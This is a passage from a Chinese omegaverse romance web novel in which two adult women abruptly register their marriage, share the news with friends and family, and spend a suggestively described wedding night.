程卿言扬了扬眉梢:“为什么想比我大?” 姜映如实说:“那样我就能早点遇见你了。” 程卿言还未说话,女生又道:“不过只要能遇见你,我已经很幸运很满足了。” 清润柔和的声音中带着浓浓的柔情,有一种来之不易的珍惜,好似对方为了遇见自己,真的用尽全力,做了很多努力。 幸运,满足。 要经历什么才会用这两个词来形容她们的遇见。 程卿言心口微微颤动着,女生为了救她,让她恢复健康,离开过一次,因为这一次的分离,才会对她们的重逢感到庆幸吗? 只是这一次,她都差点崩溃,如果在姜映那里还有别的原因,对方如何承受得住。 指的应该就是这一次,她想不出别的原因了。 对方离开的后怕感又有要冒出来的趋势,程卿言呼口气,没再想这些事。 晚饭没有回家吃,苏敛懿又请她们吃饭,并且是请她们到家里吃饭,苏敛懿亲自下厨。 苏氏和程氏在合作,程卿言和苏敛懿早已熟悉起来,她也很欣赏对方,愿意成为好朋友。 而且苏敛懿和姜映真的是一见如故,处得很融洽,她发现这两人莫名有种默契。 和情侣之间的默契不一样,更像是相处多年的亲人。 苏敛懿做的菜和姜映的做菜,味道居然惊人的相似。 一道菜相似可能是巧合,道道相似就不像是巧合了,程卿言心里有些震惊。 她抬眸看看姜映的苏敛懿,长相没有任何相似之处,姜映姓姜,姜家和苏家扯不上关系,张芸和苏家就更不认识了。 应该是她想多了,说不准是在网上看的同一个博主发的做饭教程,世界上口味相似的人那么多,不该大惊小怪,想一些有的没的。 饭后聊了会儿天,时间还早,又拉上秦助理一起玩聊会儿牌,九点出头才起身告别。 这个点路上已经不堵了,车速较快,窗外灯影飞掠。 秦助理开着车,开口汇报道:“刚才苏总又问了我何助道近况,我如是说了。” 程卿言嗯了一声:“以后她如果再问何助的情况,你不用给我汇报了。” 何助没有重新回到程氏的打算,她对苏敛懿也比较了解,不会像从前那样当做外人防备着,即使苏敛懿和何助未来有什么,也不会对她和程氏有任何影响,她可以完全放心。 车里安静片刻,瞧见姜映收起了手机,她道:“处理好了?” 姜映点头,对她笑了一下:“差不多。” 临时有点紧急工作要处理,方才在群里回复消息。 程卿言捏捏她的耳朵:“你的毕业典礼在下个月几号?” 姜映说:“六号,怎么了?” 程卿言道:“要我陪你去吗?” “可以吗?”姜映很乐意。 “可以是可以,”程卿言笑了一声,把玩着女生的手,“不过我以什么身份去呢,你的长辈,你的朋……” “家属,”姜映打断,凑到她耳边,轻柔道,“能是我的家属吗?” 第97章 领证 (二更 感谢“19杠110”的深水) 领证 第九十七章 家属。 能是我的家属吗。 声音不大,轻轻柔柔,和柔和的呼吸一起落在程卿言耳畔,一切都很缓慢,很平常的一句话,心跳却快了起来。 她以为姜映会说姐姐,女朋友,恋人,又或是在昨天夜里叫了无数次的老婆,但对方说的是家属。 比她想的一切词汇要无趣很多,但又显得很正式。 家。 她们会组成一个家庭,家里有她们,有一只猫两条狗。 如此度过余生。 从前程卿言对家没什么向往,也不知道家该怎么定义,一直没去认真想过。 很小的时候她就去了腺体研究所,她的双亲虽然也在那里,但她们整日忙于研究,没有时间陪她,研究所里没有丝毫家的感觉,只有无尽的白色和消毒水的味道,她的幼年过得并不愉快。 后来程老太太接她回了老宅,老宅是她家吗? 从名义上来讲,那里是她家,可是她连布置自己房间的权利都没有,吃什么,用什么,都由老太太说了算,都是在复刻她母亲的小时候,老太太对她的管教很严格。 年满十六,腺体开始发育了,老太太开始锻炼她,给了她一定的自由 不再严格管教,她能对自己的生活做主,于是她搬离了老宅,独自住在中学附近的大平层里。 后来上了大学,她有了挣钱的能力,买了新房,不只一套,装修都很豪华,只要她会去住,她就会认真参与房子的设计,不会让自己吃苦。 但每套房住得时间都不久,频繁搬家,遇见更和心怡的房子,她就会换地方。 直到她搬进了月泊林,又养了拉面丸子,才一直住在那里,没再搬离。 家是什么感觉? 程卿言目前还是无法准确形容,她想到了姜映以电流形式出现的那段日子,她会期待回家,瞧见灯光闪烁时她会感到无比安心。 即使她不知道那是姜映,她也会感到安心,所以她想回家。 对于她而言,家的定义就是姜映。 “家属……” 程卿言颤睫,红唇轻启,念了念这两个字,有一种安稳平静的感觉,她很喜欢。 那到时候,她就作为家属去参加姜映的毕业典礼。 得到了女人的回复,姜映也跟着笑了起来,吻了吻女人是脸颊。 回到月泊林,屋内暖黄的氛围灯亮着。 衣服落地堆叠,程卿言抵着alpha的额头说:“抱我去浴室……” 姜映嗯了一声,女人的腿环着她的腰,面对面抱女人着离开了客厅,房门合上。 淋浴器打开,水声响起,淅淅沥沥如同一场缥缈的夜雨,凌晨时分才停下。 卧室的灯打开,又关上。 第二场夜雨比第一次雨来得急,雨势大,很快便安静下来,归于平息。 姜映收拾好后回到床上,瞧见女人还睁着眼,吻了吻女人的眼尾:“还不困吗?” 程卿言脸颊蹭着她的脖子:“困……” 姜映:“那怎么不睡?” “在等你。”程卿言阖上眼睫。 姜映眼眸含笑:“现在睡吧,我和你一起。” 女人嗯了一声,呼吸逐渐平稳,在她以为女人已经睡着时,女人忽然叫了她:“姜映。” 声音很柔很绵,能听出来女人已经很困了,即将睡着。 姜映心很软:“嗯?” “我们结婚吧……” 这是女人睡着的前一秒对她说的话,姜映心跳加速,浑身泛起了一阵酥麻,久久不能平复。 她不知道对方是困迷糊了才说出这句话,还是真的想现在就和她结婚了。 姜映深呼吸,根本睡不着,脑子一直热热的,冷静下来后,她觉得是前者。 她并不怀疑女人对她的爱,但是她会考虑目前的现状,在她的视角她和女人已经相爱很多。 但在女人眼里,她们认识不到一年,她年纪不大,相爱的时间比较短暂,即使经历过分别,感情也很深了,应该也没到要结婚的地步。 在她是苏裕时,她们十八岁就相爱了,感情一直很好,但也是在二十五那年结的婚,谈了六七年的恋爱。 所以女人应该是困迷糊了才这样说的,不是真想那么快就结婚。 得再等等,不用那么着急。 她们能在一起,陪伴在彼此身边就已经很好了,即使不结婚,女人在她眼里就是她老婆。 姜映眸光落在女人脸上,嘴角轻轻上扬,慢慢进入了睡梦中。 * 翌日清晨。 晴天。 自然醒,两人几乎是同时睁开眼,在床上抱着亲了片刻,起床洗漱。 阿姨做好了早餐,已经摆在了桌上。 程卿言坐下,喝着粥,想了想道:“一会儿你坐我的车去上班。” “要送我?”姜映喝了一口气牛奶。 程卿言:“不行吗?” 姜映笑了一下:“当然可以。” 不是很顺路,但女人想送,她也不会拒绝,又不是天天如此,偶尔送送是可以的。 用完早餐,姜映和程卿言一起去了衣帽间,今日天气不错,暖和起来了,她打算穿一件薄卫衣。 程卿言下巴指了指右边的区域,建议道:“穿衬衫吧,白色那件。” 女人也穿的是衬衫,和她的白色那一件是同款,有点像情侣装,姜映当然不会反对,应了一声行。 她个子高,脸长得好,又年轻,穿起衬衫时的气质和程卿言完全不一样。 介于成熟和青涩之间,如同樱桃成熟前一夜时的状态。 赏心悦目。 程卿言眸光颤了颤,欣赏了片刻,若不是时间不够,很想拉着alpha做点别的事。 五分钟后,一起出门。 秦助理已经在院子里等着了,见她们出来,笑着打了招呼。 片刻后两人坐车离开了月泊林。 先送姜映,卡宴朝着科研院的方向前行,开了一半路程,到了一个岔路口,姜映看了眼窗外,出声提醒:“开错了,应该走左边那条路。” 秦助理道:“那我在前面掉头。” 姜映嗯了一声,时间还早,绕一段路也不会有什么影响,没有在意,侧眸和程卿言聊天。 几分钟后她发现秦助理并没有掉头,而是开进了空着的停车位,车停了下来。 程卿言道:“走吧,下车。” “嗯?”姜映跟着她下去,疑惑问道,“来这里做什么?” 女人下巴指了指前方,她看过去的同时,女人在她耳边道:“昨晚不是和你说了吗,我想和你结婚。” 要结婚,就得来民政局领证。 姜映傻了几秒,以为自己在做梦,正打算掐掐自己,程卿言抬手捏了捏她的脸:“别傻着了。” 姜映感觉到了疼,难以置信地看着她,眼睫颤动着:“你昨晚说的是真的?” 程卿言嗔了她一眼:“你以为我在和你开玩笑?” 姜映点头,嗯了一声。 程卿言见她如此反应,问道:“你不愿意我和结婚?” “不是的,我特别愿意,”只是事情有些突然,喜出望外,姜映一时间没反应过来,她想了想道,“可是我什么都没准备,这样是不是太草率了。” 程卿言牵着她的手,看着落在女生眉眼上的暖阳,柔和道:“有你有我,不就足够了吗,还需要准备什么。” 她心的归属是眼前这人,家的定义也是眼前这人,领证结婚并不是冲动之举。 对啊。 还需要准备什么,什么也没有彼此重要,姜映颤了颤眼睫,深呼一口气问道:“你想清楚了吗?” 程卿言挑眉:“我很清楚自己在做什么。” 眸光交错,眼里的坚定爱意比暖阳还要炽热。 十分钟后,所有流程走完,姜映看着红本上的照片,心口在颤动,眼尾泛起了红,这一次她们可以携手走完一生了。 程卿言将戒指递给她:“给我戴上。” 是姜映离开前,亲手做来表白的那枚戒指,她呼口气,手指有些颤动,给女人戴上,弯腰俯身,在女人手上落下诚挚一吻。 “程卿言。”她道。 程卿言:“嗯?” 姜映抱住她,在她耳边说:“谢谢你出现在这个世界上和我相爱,谢谢。” 程卿言笑着嗯了一声:“口头感谢不作数,得好好陪我一辈子。” 经历过离别,都在感激对方的出现,感谢对方和自己相爱。 还要上班,抱了一会儿就回了车里。 秦助理拿出她准备好的花,激动地送给她们,道了一句新婚快乐,百年好合。 她早上出门前就收到了程卿言的消息,让她开车去民政局,作为善解人意的助理,她瞬间明白了老板要做什么,她高兴啊,又嗑到了,憋了好一阵,终于能说出来了。 给她们拍了合照,秦助理开车送姜映去上班。 时间比较急,到了科研院后,姜映吻了吻女人的唇,念念不舍道:“那我下车了,晚上见。” 程卿言:“晚上和谁见?” 姜映笑音:“老婆。” 程卿言耳朵发麻,笑了一声。 “你不叫叫我吗?”姜映也想听。 程卿言咬她的耳垂:“叫你什么,老婆?” 有多久没听见这声老婆了,姜映脑子热热的,心跳快了几拍子,抱紧她:“再叫一声。” 程卿言哼笑,才不听她的:“晚上叫给你听,现在去上班。” 姜映颤睫,闭了闭眼,应了声好,又道:“你别骗我哦。” 程卿言挑眉,捏了捏她的耳朵:“骗你做什么。” 不能再拖下去了,片刻后姜映提着电脑下车,一步三回头,进了科研院。 在她的背影消失后,程卿言才让秦助理开车,得去公司了。 饶了路,又是早高峰,路上比较堵,车速较慢。 程卿言拿起手机,点进微信,在所有群里都发了红包,很大的红包,让大家领着玩。 员工不敢领,恰好在等红灯,她让秦助理拿手机先领,有人起了头,大家才敢领了。 程卿言想了想,她平时也不是凶啊,挺平易近人的,怎么员工这么怕她。 到了公司,刚进办公室,余简予就来找她了,好奇问道:“你怎么发这么多红包?” 程卿言抿了一口温水,心情很好:“你猜猜。” 近期有什么事能让对方心情那么好吗,余简予想了片刻,想到了五一对方一直待在家里没有出门,眼眸一亮,视线落在她小腹上:“你怀宝宝了?” 语出惊人,程卿言咳了一声,差点呛着:“你怎么会这样想?” 余简予笑着道:“就你两那频率,也不是没可能嘛。” 程卿言:…… “你想多了,我没怀孕。” 她从来没想过要孩子的事情,家里有拉面丸子和柚柚就足够了。 再者,即使想要孩子,也得结婚之后才能生,余简予的思维何时变得如此跳脱了。 没怀孕啊,那为何发这么多红包,余简予道:“我猜不出来,你直说吧。” 程卿言眉梢上扬,笑着道:“我结婚了。” 余简予:“结婚?” 程卿言点头:“对的。” 余简予惊讶:“什么时候的事?” 程卿言:“今天早上,来公司之间去了趟民政局。” 近几年结婚的越来越少,为了提高结婚率,民政局二十四小时都有人值班,方便上班族领证。 也确实挺方便的,不用排队。 余简予有点不敢相信:“你真的和姜映领证了啊,没开玩笑?” 程卿言拿出结婚证,递过去。 对方接手后,反复看了好几次,好像在怀疑这是假证一般。 程卿言不解道:“我结婚了,怎么感觉你一点也不开心?” “不是,”余简予呼口气,笑了一下,“我不是不开心,我只是有点震惊。” 程卿言:“嗯?” 在震惊什么,她和姜映的感情很好,又不是无法见人背德恋爱,结婚不是很正常吗。 余简予说:“姜映大学没正式毕业呀,还没满二十一,这么年轻就结婚,我能不惊讶嘛。” 若是姜映再小十个月,都没到法定结婚年龄。 程卿言哼了一声:“你真奇怪。” 余简予:“我哪奇怪了?” 程卿言说:“你刚才说我怀孕时,怎么没想到她年纪小,她能当妈,不能结婚” 好像也是。 余简予哈哈哈笑了几声,不过也不能因为这个就说她奇怪吧,怀孕可能是情到深处时的激动之举,领证结婚的时候肯定是清醒的。 作为朋友,她很满意姜映,对姜映没有任何意见,但她确实没想到她们会这么早结婚,成为彼此的伴侣。 惊讶过后,就是祝福了,她和程卿言认识这么多年,知晓对方从前过得有多么辛苦,在她眼里,她一直觉得对方配得上最诚挚的爱意,好在一切都好起来。 余简予看着结婚证上的照片,眼眶微微泛红,有点想哭。 情绪转变有点大,程卿言一时间没反应过来她怎么了,片刻后就懂了对方在想什么,给她递给张纸巾:“我会幸福的简予。” 爱人,朋友,事业,所给予她的一切,都让她感到幸福。 余简予才不承认她想哭,多丢人呀,缓了缓情绪道:“你这么突然就结婚,也不提前给我说一声,我礼物都没准备。” 程卿言挑眉:“以后再送,我帮你记着。” 余简予切了一声:“你们什么时候办婚礼?” 程卿言想了想:“婚礼不急,想办的时候再说,日后慢慢筹备。” 余简予点头,不是她结婚,但她有点兴奋,聊了好一阵才离开。 办公室的门合上,程卿言坐着,侧眸看着窗外的暖阳,嘴角扬了扬,几息后她又拿起结婚证看了起来。 她只是表面看起来比较淡定,实则心跳一直有些快。 余简予说姜映年纪太小,这是事实,她也想过这个问题,但在平时的相处中,姜映一点也不幼稚,很沉稳,她时常忘掉了她们之间的年龄差距。 她虽然喜欢对方叫她姐姐,但在她并没有把姜映当孩子看待,她会对她撒娇,会依赖她。 只有在做那事时,她累的不行,对方依旧活力,她才会注意到她们之间的年龄差距。 因此年纪对她们的感情而言,无关紧要。 程卿言放好结婚证,深呼几口气,没在管自己过速的心跳,她知道她一时半会儿平静不下来,进入了工作状态。 * 傍晚。 下班后两人没回家。 在悦程酒店吃了晚餐,饭后在附近逛了一圈,就回了酒店。 熟悉的房间,程卿言在悦程酒店有专属套房,她和对方的第一次相遇,就是在这儿。 去年十一月份发生的事情,当晚她以为她和对方只有那一次,日后不会再有联系。 谁能想到过了六七个月,再一次回到这里时,她和姜映已经领证结婚了。 新婚夜,就得做得新婚该做的事情。 有些急切,情绪高涨,alpha热情地吻着她的唇,程卿言光脚踩着散落在地上的衣裙,呼了一口气道:“要喝点红酒吗?” “我不喝,我想清醒地看你,”姜映让女人翻了翻身,看着窗外的夜景,“阿卿……” 程卿言呼出的气落在窗上,泛起了白雾:“嗯?” 姜映说:“你答应我的。” “什么?”程卿言颤了颤眼睫。 姜映:“叫我老婆。” 程卿言笑了一声:“我有答应你吗?” 姜映吻她的耳畔:“你想反悔?” 程卿言:“我不记得。” 姜映眸光里的爱意浮动,往前移了一步:“真的吗,那我帮你想起来。” “你……” “嗯,是我。” “想起来了吗?” alpha问了三次,程卿言有些受不了,连忙她叫了声老婆,身后这人笑了笑,并没有因此心软,将她抱得更紧了。 套房面积很大,仅仅是客厅就很大。 沙发柔软,餐桌宽敞,暖光的灯光落下,如同暖阳照耀在溪流中,泛着金灿灿的水光。 八点进的房间,十点左右才从浴室出来。 程卿言泡了会儿澡,缓解了身上的疲惫,穿好睡裙,一起回到客厅,坐在窗前的懒人沙发上聊天。 姜映问道:“饿了没,要吃点东西吗?” “还行,不想吃,”程卿言靠在她肩膀上,垂眸看了会儿微信消息,回复了几条,缓缓道,“周末你要加班吗?” 姜映道:“不用,怎么了?” 程卿言说:“那我们请关系好的朋友吃顿饭。” 当然不会平白无故约饭,是想正式告诉大家,她们领证了。 离周末还有几天,得提前问问大家有没有时间。 姜映拿起手机,开始发消息。 周青月有时间,林溪读研的学校在国外,虽然还没开学,已经提前去国外了,来回往返很麻烦,又耗费时间,所以回不来。 得知姜映领证了,林溪很惊喜,发了一大段祝福给她,最后道:【祝你们幸福】 姜映道了谢,她也希望对方幸福,她知道林溪和云秋染的事情,程卿言之前告诉过她,感情的事旁人是帮不了忙的,只希望林溪能快点走出来。 程卿言问:“是你给苏敛懿说,还是我告诉她?” 姜映回神,眨了眨眼道:“我都可以。” 都可以。 哼。 以程卿言对女生的了解,听了她这种模棱两可的回答,就知道她想亲自告诉苏敛懿。 程卿言捏了捏她的脸,她也不是无理取闹之人,知晓姜映和苏敛懿之间不会有什么,大方道:“你告诉她吧。” 闻言,姜映笑着在她嘴角吻了一下:“你真好。” 她没和女人提过从前的事情,女人并不知道苏敛懿其实是她的亲姐姐,女人还是愿意让她和苏敛懿频繁联系。 其实她想过要不要将过往的事情告诉对方,过往虽有甜腻,但结局太沉重了,不是不能说,她只是暂时不知如何开口。 在旁人看来她对苏敛懿的亲近是比较异常的举动,可女人没有任何不满。 姜映内心很感动,抱着女人的腰,加深了这个吻。 一分钟后,程卿言推开她,呼口气道:“去发消息。” 姜映应了声好,给苏敛懿发了消息,片刻后她抬眸道:“她答应了。” 程卿言呵了一声:“她那么喜欢你,当然会答应。” “阿卿……”姜映抱着她,在她耳边诚挚道,“关于爱情的喜欢,我只给了你。” 这还用说吗,程卿言比谁都清楚女生对她的爱,她对此很自信,捏了捏女生的耳垂,柔声道:“我也只给了你。” “还记得吗,我们初次见面那一晚,我打开门瞧见你昏昏沉沉坐在我门前,我虽然踢了你一脚,但是我应该在那时就对你有好感,不然我不会让你进屋,也不会让你咬我的腺体。” 姜映听着这些过往,心里很软,不过她有件事没想明白,好奇问道:“你为什么要踢我?” 程卿言嗔她一眼:“我那会儿又不认识你,陌生alpha在我门前释放出浓郁的信息素,我不该踢……” “等一下,”姜映愣了几秒,问道,“我当时在释放信息素?” “不然?”程卿言挑眉。 姜映道:“可是我之前不能分泌信息素。” 她是从时空局回来,身上的所以特殊现象都消失了,她的信息素才恢复了正常,才能闻见女人的信息素。 之前她是标记无能,哪来的信息素 。 程卿言笑了一声,挑起她的下巴,傲娇道:“谁说你无法分泌信息素了,我一直能闻见你的青竹味,从第一次见你时就能闻见。” 最先进的医疗设备和腺体专家检测不出来,女生自己也闻不见,只有她可以,只有她能闻见。 女生注定属于她。 姜映静了几秒,难得郁闷道:“那你怎么不告诉我?” “生气了?”程卿言嘴唇似有若无挨着alpha的耳畔,掌心按在alpha的后颈上,命令道,“跪下,允你罚我。” 第98章 属于 属于 第九十八章 程卿言不是柔顺的人,骨子里其实很傲,她喜欢掌控全局,不喜屈服于人。 她养了拉面丸子,她爱训它们,将它们训得很好,是她喜欢掌控的体现。 这些年也没有谁能让她心甘情愿地柔下来,直到姜映出现。 可是她本性不会改变,在这种事上偶尔也想掌控主动权,想换一换感觉。 她很享受既是承受者,又是指挥者的感觉。 懒人沙发比较矮,程卿言站了起来,裙摆摇曳,后腰靠着沙发边,光落在她颤动的长睫上,眼尾那颗很浅的痣如同闪烁的星辰。 程卿言垂眸瞧着alpha的头顶,掌心按着alpha的后脑勺:“很渴?” alpha含糊嗯了一声。 如同在沙漠中走了几天几夜,终于发现了绿洲。 片刻后程卿言眉心一颤,嘶了一声,深呼一口气骂了句狗东西。 姜映的耳朵被揪得有点疼,抬眸道:“阿卿……” 程卿言呼口气,红着眼尾看着她:“该叫我什么?” 姜映长着一张青涩年轻的脸,但内心不怎么青涩,在这些事情上,只要女人给她一个眼神,就知道该做什么,很有默契。 听见alpha叫她主人那一瞬,程卿言背脊骨发麻,听觉和触觉交织在一起,脑子空白了片刻。 很陌生的感觉,但又很喜欢,程卿言抿了抿唇,期间侧眸看向窗外,玻璃窗上覆了一层夜雾,雾水凝结成水珠,往下滑落。 灯光落于眉间,半个小时后,呼吸平息,眉间的汗顺着肌理落了下去。 程卿言坐回懒人沙发,脖子微扬,阖着眼睫缓了几息。 alpha给她擦眉间的汗,她睁开眼,视线落在女生青涩的脸上,幽幽道:“你先擦擦脸行吗?” 姜映笑了一声,应了声好,但还是先给女人整理好,再去浴室洗脸漱口,出来时瞧见女人已经换了睡裙。 方才弄得皱巴巴那条,丢在了地上。 姜映弯腰捡起来,放在一旁的皮沙发上,从身后抱着女人,呼吸落在女人的耳后。 程卿言问道:“还生气吗?” 吃人嘴短,拿人手软。 alpha又吃又拿,哪来还气得起来。 姜映眨眼,乖乖道:“不生气。” 她本来也不算生气,只是突然听见女人一直能闻见她的信息素,但不告诉她,有点郁闷罢了。 如果女人早点告诉她,她就不用吃那么多强化剂了,那一阵她也不用为她不能给女人提供信息素而伤心难受了。 现在冷静了,姜映也理解女人为什么不告诉她,当时女人的处境不太好,信息素紊乱的事不能让别人察觉,不告诉她,即使在防备她,又是在保护她,不让她卷进复杂的事情中。 程卿言转身看着她,心情很好:“你不觉得这件事很神奇吗,只有我能闻见你的信息素。” 姜映心口颤动,抱着女人,声音有些颤抖:“我说过,我属于你。” 即使重来,没有任何记忆,女人依旧能记住她的信息素,即使苏裕不存在,女人的腺体依旧知道那是她,能感受到她,不受任何因素的影响。 她们注定会在一起。 程卿言见她眼睛有些红,笑着说:“这么感动?” 姜映:“不可以吗?” “可以,”程卿言吻了吻她的眼尾,安抚道,“你属于我,永远是我的。” 姜映嗯了一声,重复道:“我属于你。” 她不可能让女人离开她,或者说是她离不开女人,女人如果不在了,她也无法独活,已经经历过一次,她清楚她的选择。 程卿言腿还有点酸,站着不太舒服,又坐回了懒人沙发。 对方给她接了杯温水,她喝了几口润了润有些哑的嗓子,眸光落在alpha的膝盖上,想到了什么,指尖挑起对方的睡袍下摆看了看,膝盖泛着淡淡的青,看起来有些骇人。 程卿言指腹轻轻碰了碰,心疼道:膝盖“疼不疼?” 姜映如实说:“不疼,看着吓人而已,过几天就消了,你别担心。” 程卿言说:“下次别跪这么久了。” 方才没打算那么久,她觉得几分钟就可以了,但alpha很贪心,不想起来,可怜巴巴叫着她主人,她一时也很上头,就纵容了。 嗯? 闻言,姜映立马道:“我的膝盖真的不疼。” 程卿言见她着急的样子,捏了捏她的脸,笑了一声:“有这么喜欢吗?” 姜映眨眼,笑着道:“喜欢。” 她喜欢看女人命令她的样子,享受让女人获得快乐的过程。 程卿言也挺喜欢的,思忖片刻,心里有了主意,日后不能直接跪下去,得在地上垫毛巾或是铺地毯,那样就不会伤着膝盖了。 “我有些饿了,想吃点东西。” 姜映道:“我给你点份牛排?” 程卿言应了声好,问道:“你呢,想吃什么?” “我不饿。”姜映拿起手机,垂眸瞧着屏幕给她点餐。 不饿? 七点吃的晚饭,已经过了四个多小时,折腾了好几次,居然还不饿。 程卿言瞥了她一眼,年轻alpha的消化功能好,不应该饿得更快? 总不能喝了一些她的…… 程卿言耳朵微热,出声道:“你得陪我吃。” 姜映宠溺地应了声好,虽然不饿,再吃一点也无妨,于是也给自己点了一份。 很快,服务员将她们点的牛排送了上来,程卿言去酒柜拿了瓶红酒,倒了一杯。 姜映想陪她,将牛奶倒进酒杯和女人碰了碰杯,眼眸含笑道:“新婚快乐。” 虽然这是她第二次领证,严格来说是二婚,第二次过新婚夜,她依旧很兴奋。 程卿言笑了一声,也道了一声新婚快乐。 饿了,但吃的不多,她那份牛排剩了一大半,姜映不爱浪费,很自然地将其移到眼前,吃了起来。 程卿言坐在她旁边,道:“饱了就别吃,别撑着了。” 姜映说:“没事的,我吃得下。” 程卿言看着她吃得挺香,道:“你喂我一块。” “你不是饱了吗?”姜映问道。 女人嗔了她一眼。 真可爱。 姜映笑了笑,识趣地将切好的一小块送到女人嘴边:“小心点,别咬着叉子了。” 女生亲手喂的好像是要好吃些,程卿言又吃了两小块,而后就不吃了,品着红酒看着女生。 期间手机铃声响起,她拿起来看了一眼,眉心颤了一下,打电话不会再避着姜映,按了接通。 她淡淡道:“奶奶。” 程老太太嗯了一声:“休息了没?” 程卿言道:“还没。” “在做什么?” “吃牛排。” “这么晚了才吃晚饭?” “饿了就吃。” 程老太太静了片刻,问道:“没有事情想告诉我吗?” 程卿言:“奶奶您不是已经知道了吗?” 她结婚的事虽然没告诉老太太,但她突然在公司群里发了那么多的红包,动静比较大,老太太肯定会让人查。 她也没打算瞒着,知道便知道吧。 程老太太道:“结婚这么大的事,怎么不和我商量一下?” “我觉得没什么好商量的,我能自己处理好。”程卿言平静道。 程老太太叹了口气,也没有多说,声音疲惫道:“有空带你喜欢的人回来吃顿饭。” 程卿言应了声好,道了晚安,便挂断了电话。 她和老太太的关系一向如此,不亲近也不陌生,一通电话不会让她的心绪起伏。 至于回家吃饭,没必要特意回去一趟,等下次节假日回去看看便行了,她和姜映说了一下这件事。 姜映点头:“可以的。” 这么淡定? 虽然她和老太太并不亲近,但也是跟着她回家见长辈,属于第一次见面,这人性格即使再沉稳,也应该紧张才对。 程卿言以为女生没理解她的意思,再说了一遍:“下次你和我一起回老宅见我奶奶。” 姜映眨眼:“我听见了。” 真不紧张啊,程卿言有点纳闷,对方从前也没和老太太见过面,怎么如此淡定。 算了,不纠结了,不紧张是好事情,女生只有在面对她的时候才会紧张,说明女生的情绪只为她而起伏,程卿言轻笑一声,欠身过去,在女生脸上落下一吻。 腻歪了会儿,已经快凌晨,再次去了浴室洗漱,十分钟后回了卧室,睡前又来了一次。 alpha在她腰下放了柔软的枕头,青竹香和樱桃味交错在一起,缥缈如烟,似梦似幻。 程卿言呼了一口气,握着alpha的手腕,声音有些哑:“姜映。” 姜映呼吸落在她耳后,“怎么了?” “你喜欢孩子吗?”程卿言问她。 姜映吻她的耳畔:“我只喜欢你,只喜欢姐姐。” 程卿言笑了一声,推了推她:“不是这个意思。” “嗯?”姜映抬眸。 程卿言说:“如果我们有了孩子,你会喜欢吗?” 她们的孩子? 姜映神色变得正经,快速坐起来,思忖片刻,认真道:“如果是我们的孩子,我会喜欢,我也会爱她,但是我不想要孩子。” 程卿言问:“为什么?” 姜映说:“有你有我,有柚柚和拉面丸子就足够了。” 生命本就短暂,经历过生死离别,她想把她全部的爱都给女人,如果有了孩子,会分散她的注意力和爱。 再有就是,怀孕总归是辛苦的,她见不得女人受累。 从前她还是苏裕时,女人的信息素紊乱没有康复,身体承受不住怀孕,因此她们没讨论过这个问题,也从未考虑过要孩子。 但她的想法不代表女人的想法,姜映问询问:“你是怎么想的?” 程卿言双手揽着她的脖子,在她唇上亲了一下:“我和你的想法一样。” 姜映眉眼弯弯:“真的吗?” 程卿言说:“这种事我骗你做什么,当然是真的。” 她会问这个问题,是想知道这人对于孩子的看法是什么,如果特别喜欢,得早点商量好,过几年她说不准就想生了,早做筹备。 不过这家伙和她真的很默契,目前对于未来的打算是一样的。 姜映抱着她,和她闲聊道:“你不会觉得遗憾吗?” 程卿言把玩着女生的手:“有什么遗憾的,没人叫我妈吗吗,我要是想听,你叫给我听也是一样的。” 姜映心口一热,在她耳边问到:“那你想听吗?” 程卿言反问:“你想叫?” 姜映想了想,脸埋在女人的颈窝处,小声道:“有点羞耻,我好像叫不出口。” 程卿言笑出声,捏了捏女生的后颈:“那就别叫。” 她目前也没这种爱好,如果alpha在她们亲密时这样叫她,像什么话。 成何体统。 太背德了。 姜映点头,应了声好。 程卿言有些困了,颤睫合上,在女生耳边柔柔道:“我想睡了。” “晚安。”姜映在女人额头上吻了一下,也闭上了眼睛。 片刻后,交织在一起的呼吸声变得平稳,进入了睡梦中。 深夜安静,沉睡中的姜映眉头却紧紧皱了起来,她梦见了从前,她和女人领证那一天,她们给自己放了假,计划去雪上看日照金山。 光落在雪上山,充满无限希望的一幕,下一瞬画面就变了,冰凉的病房里,她流着泪哭得不成人样,直不起腰跪在病床边,紧握着女人逐渐冰凉的手,哭求着让女人睁开眼,让女人和她说说话。 她将耳朵贴在女人的心口,安静,死寂的安静,听不到任何跳动。 她的爱人永远离开了她。 不能离开。 不可以离开。 “姜映。” “姜映。” 耳边有人在叫她,姜映猛得睁开眼,胸腔起伏着,脸上全是泪水,眸光涣散一瞬,紧紧抱住女人。 程卿言抚了抚她的背脊,给她擦眼泪:“做噩梦了?” 姜映在害怕,嗓子有些哑:“梦见你离开我了。” 程卿言颤了颤眼睫,对方应该还是在为她们前段时间的分离而感到不安,对方刚回来那几日她也经常做这样的梦:“没事了,都过去了,我不会和你分开的。” 姜映深呼一口气,嗯了一声。 听着女人的心跳,感受着女人的呼吸,慢慢平复下来。 程卿言道:“好点没?” “好多了。”姜映不想让女人担心,很快调节好了心绪。 此刻还早,不到五点,还能睡两个小时。 程卿言吻了吻她的眼尾:“再睡会儿?” 姜映应好,闭上眼睛,等女人睡着后,她又睁开了眼。 已经没了困意,过往于她而言,如同一座沉重的山,需要时间才能调节好。 不能回避,她得努力面对。 这件事不能一直不告诉女人,她答应过女人,在重大事情上不能有隐瞒。 得尽快调节好,才能开口讲出来。 * 新婚夜过去了,接下来两日,依旧处于上头中。 每晚都过得很充实,快乐是快乐,但还是有不好之处。 天已经暖和起来,程卿言必须得穿有领的衣服,还得规规矩矩地将纽扣系到最上端那颗,不然痕迹就容易露出来。 程卿言对此颇有怨言,站在衣帽间,嗔了alpha一眼:“都怪你。” 想要的时候拉着她,不能随心所欲穿衣服的时候就怪她。 好没道理。 但姜映很喜欢女人的没道理,眉眼弯弯看着女人:“怪我。” “你要改?”程卿言挑眉问道。 姜映摇头:“不改。” 程卿言笑了一声,她就知道是这样,不过也不是真的在怪对方,更没有让对方改的意思,只是闹着玩。 今日是周末,约大家吃饭的日子。 她目前穿衣选择不多,还是穿的缎面衬衫。 姜映帮她系好纽扣后,自己也换上了和女人同款的衬衫,换鞋出门,开车离开了月泊林。 云秋染会来,考虑到安全,吃饭的地方依旧定在月影秋风。 路上,姜映道:“我想去考个驾照。” 程卿言开着车:“可以啊,想什么时候学?” 姜映道:“下个月吧。” 下个月的事情会少一些,得在九月份之前把驾照拿到,九月之后她会很忙,平日可能得住在学校里,无法每天回家。 程卿言问:“你有喜欢的车吗,考了驾照之后我送你一辆。” 姜映在物质上比较坦荡,女人要送她车,如果她拒绝,女人反而会不高兴,想了想道:“我对车没有要求,买一辆你喜欢的吧,我们一起坐。” 程卿言嗯了一声:“那我让秦助理去挑一辆合适的。” 她也不会送价格很昂贵的豪车,只要坐着舒服就行,适合她们平时开着出去玩。 